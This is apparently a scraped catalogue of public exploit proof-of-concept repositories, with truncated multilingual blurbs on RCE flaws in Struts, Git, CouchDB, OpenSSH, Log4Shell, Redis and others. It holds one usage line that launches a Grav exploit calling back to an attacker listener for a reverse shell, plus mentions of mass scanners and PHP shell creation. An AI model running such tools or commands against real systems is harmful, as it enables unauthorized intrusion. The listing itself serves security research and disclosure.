PageBuilderCK-CVE-2026-56290-Exploit

Page Builder CK — Sonda RCE fonts.save CVE-2026-56290 BlackHat Team scanner proof-of-concept per la vulnerabilità fonts.save di Joomla Page Builder CK. POC CVE-2026-56290 Autore: @mrzblackhat Team: BlackHat Team Crediti: Peyman Siyahi · MR.PERSIA Panoramica Questo strumento sonda i siti Joomla ch...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

CVE-2024-32002

CVE-2024-32002 RCE PoC Panoramica Questo repository contiene una prova di concetto PoC per CVE-2024-32002, una vulnerabilità di esecuzione remota di codice RCE nei sottomoduli di Git. L'exploit dimostra come un payload dannoso può essere attivato tramite un clone ricorsivo di un repository Git...

CVE-2026-67560

Bendix EC80 Brake ECU is affected by a stack-based buffer overflow that may allow an attacker to crash the ECU. A crafted payload can then be used to remotely execute arbitrary code or inject arbitrary CAN bus traffic, potentially causing loss of ABS, steering assist, speedometer, and shifting. T...

Apache-Struts-v4

Apache-Struts-v4 Lo script contiene 5 vulnerabilità distinte che sfruttano vulnerabilità di tipo RCE in Apache Struts. Al momento contiene solo la capacità di creare shell PHP. CVE AGGIUNTE...

git_rce

CVE-2024-32002: Sfruttare RCE in Git tramite git clone Questo repository contiene un PoC per sfruttare CVE-2024-32002, una vulnerabilità in Git che consente RCE durante un'operazione di git clone. Creando repository con sottomoduli in modo specifico, un attaccante può sfruttare la gestione dei...

CVE-2022-24706-CouchDB-Exploit

Apache CouchDB 3.2.1 - Esecuzione di codice remoto RCE CVE-2022-24706 Data: 2022-01-21 Autore dell'exploit: Konstantin Burov, @sadshade Link del software: https://couchdb.apache.org/ Versione: 3.2.1 e precedenti Testato su: Kali 2021.2 Basato su Erlang Cookie - Esecuzione di codice remoto di 1F98...

CVE_2018_16763_Proof_of_Concept

CVE-2018-16763 Proof-of-Concept Un exploit Proof-of-Concept PoC per CVE-2018-16763 Fuel CMS - Preauthenticated Remote Code Execution. Descrizione Questo programma Python 3 funge da PoC per la vulnerabilità CVE-2018-16763 nel sistema di gestione dei contenuti Fuel CMS. In particolare, la...

CVE_2020_35848

🧨 CVE‑2020‑35848 – Laboratório de Injeção NoSQL RCE no Cockpit CMS 0.11.2 O CVE‑2020‑35848 afeta as versões do Agentejo Cockpit CMS anteriores a 0.11.2, introduzindo uma vulnerabilidade crítica de injeção NoSQL no endpoint /auth/newpassword. Essa falha permite que atacantes não autenticados injet...

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE डबल-फ्री → रिमोट कोड निष्पादन Rocky Linux 8.10, aarch64, Redis 8.6.2, jemalloc 5.3.0 के विरुद्ध सत्यापित। संदर्भ: https://www.zeroday.cloud/blog/redis-cve-2026-25243-deep-dive TLDR; स्थिर एक्सप्लॉइट, विभिन्न OS डिस्ट्रो और आर्किटेक्चर पर काम करता है। कार्यकारी सारां...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Descrizione: Microsoft Word CVE-2017-0199 è soggetto a una RCE tramite un gestore HTA Esiste una vulnerabilità di esecuzione remota di codice nel modo in cui Microsoft Office e WordPad analizzano file appositamente predisposti. Un utente malintenzionato che sfruttass...

Apache-Struts2-RCE-Exploit-v2-CVE-2017-5638

Modded-Apache-Struts2-RCE-Exploit-v2-CVE-2017-5638-AUTO-EXPLOITER...

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner...

WebLogic-Shiro-shell

Java-Deserialisierungstechnik teilen Dieser Beitrag behandelt die folgenden Punkte: 1. Grundlagen der Java-Serialisierung und -Deserialisierung 2. Warum entstehen Schwachstellen bei der Deserialisierung? 3. Java-Reflexion 4. ysoserial CommonsCollections2, CommonsCollections5 5. Mehrere Methoden z...

CVE-2021-21425-RCE

questa è la mia versione, ne ho trovate molte in internet ma sono troppo scadenti UTILIZZO root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 aspetta.. per 60 secondi otterrai una shell sul tuo listener...

CVE-2020-14882

CVE-2020-14882 CVE-2020–14882 - ricerca di Jang Codice di @s1kr10s Poc: Recensione Post / Video: root@kitploit: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf https://www.youtube.com/watch?v=JFVDOIL0YtA&feature=youtu.be...

CVE-2024-6387-Race-Condition-in-Signal-Handling-for-OpenSSH

CVE-2024-6387: Race Condition nella Gestione dei Segnali per OpenSSH Panoramica CVE-2024-6387 è una vulnerabilità critica scoperta nel server OpenSSH sshd che consente a un attaccante di ottenere potenzialmente esecuzione remota di codice RCE non autenticata come root. La vulnerabilità deriva da...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - Esecuzione di Codice Remota RCE Exploit di Iniezione di Template Lato Server!! 1. Titolo Esecuzione di Codice Remota tramite Iniezione di Template Lato Server SSTI in Applicazione Web Vulnerabile 2. Descrizione Questo exploit prende di mira un'applicazione...

l4s_poc

l4spoc Log4Shell CVE-2021-44228 Prova di Concetto Questo è un progetto personale che esegue una semplice POC che ospiterà un server LDAP e un server HTTP per l'exploit Log4Shell. Server Lo script runservers.py imposterà un client meterpreter ridotto che richiamerà l'istanza di Metasploit passata...

CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE Descrizione NVD Questo riguarda il pacchetto xmlhttprequest precedente alla versione 1.7.0; tutte le versioni del pacchetto xmlhttprequest-ssl. Se le richieste vengono inviate in modalità sincrona async=False su xhr.open, l'input utente malevolo che fluisce ...